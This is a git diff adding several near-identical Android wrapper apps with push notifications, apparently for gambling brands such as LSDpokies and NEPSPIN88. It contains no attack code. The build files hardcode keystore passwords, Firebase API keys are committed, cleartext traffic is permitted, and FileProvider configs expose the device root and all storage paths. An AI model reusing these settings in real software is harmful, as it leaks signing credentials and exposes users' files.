<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
KINGCUCI/telur33.jks Normal file

Binary file not shown.

2
LSDpokies/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

98
LSDpokies/build.gradle Normal file
View File

@@ -0,0 +1,98 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "LSDpokies"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
//包名
applicationId "com.noti.LSDpokies"
//app大背景色
resValue('color', 'windows_color', '#1D0039')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#8506A8')
//app 名字
resValue('string', 'app_name', 'LSDpokies')
//预埋订阅网址
//后台唯一ID
buildConfigField "int", "USERID", "302"
//状态栏文字颜色是否为白色
buildConfigField "boolean", "IS_WHITE", "true"
//是否强转启动图为圆形
buildConfigField "boolean", "IS_ROUND", "true"
//IS_ROUND 为 true时 圆角启动logo的 圆角大小 为0 表示为圆形 否则为ROUND_RADIUS的 dp2px的 数字大小
buildConfigField "int", "ROUND_RADIUS", "10"
//已废弃
buildConfigField "boolean", "HAS_CONTACT", "true"
//已废弃
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
resValues = true
}
signingConfigs {
debug {
storeFile file('justlet.jks')
storePassword "123456"
keyAlias 'key0'
keyPassword "123456"
}
release {
storeFile file('justlet.jks')
storePassword "123456"
keyAlias 'key0'
keyPassword "123456"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "582216089227",
"project_id": "lsdpokies-b4552",
"storage_bucket": "lsdpokies-b4552.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:582216089227:android:c9c0455ec7294684c95e8e",
"android_client_info": {
"package_name": "com.noti.LSDpokies"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyDKNU0YRNrCby1cXeHDA0wKmlnKrVRbadg"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
LSDpokies/justlet.jks Normal file

Binary file not shown.

32
LSDpokies/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,63 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/AppThemeStart"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,80 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
// activityMain2Binding.showTopV.setImageResource(R.mipmap.ic_launcher);
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 740 KiB

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#FFFFFF</color>
</resources>

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

2
NEPSPIN88/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
NEPSPIN88/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "NEPSPIN88"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.jbsda.nepspin88"
//app大背景色
resValue('color', 'windows_color', '#341101')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#FFCE60')
//app 名字
resValue('string', 'app_name', 'NEPSPIN88')
buildConfigField "int", "USERID", "298"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "835741274730",
"project_id": "nepspin88",
"storage_bucket": "nepspin88.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:835741274730:android:ef09baea34f1d2d9a9b013",
"android_client_info": {
"package_name": "com.jbsda.nepspin88"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyBCaY2SKi8wfQcuz_ByzG8O4INkhvLaztM"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
NEPSPIN88/justlet.jks Normal file

Binary file not shown.

32
NEPSPIN88/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
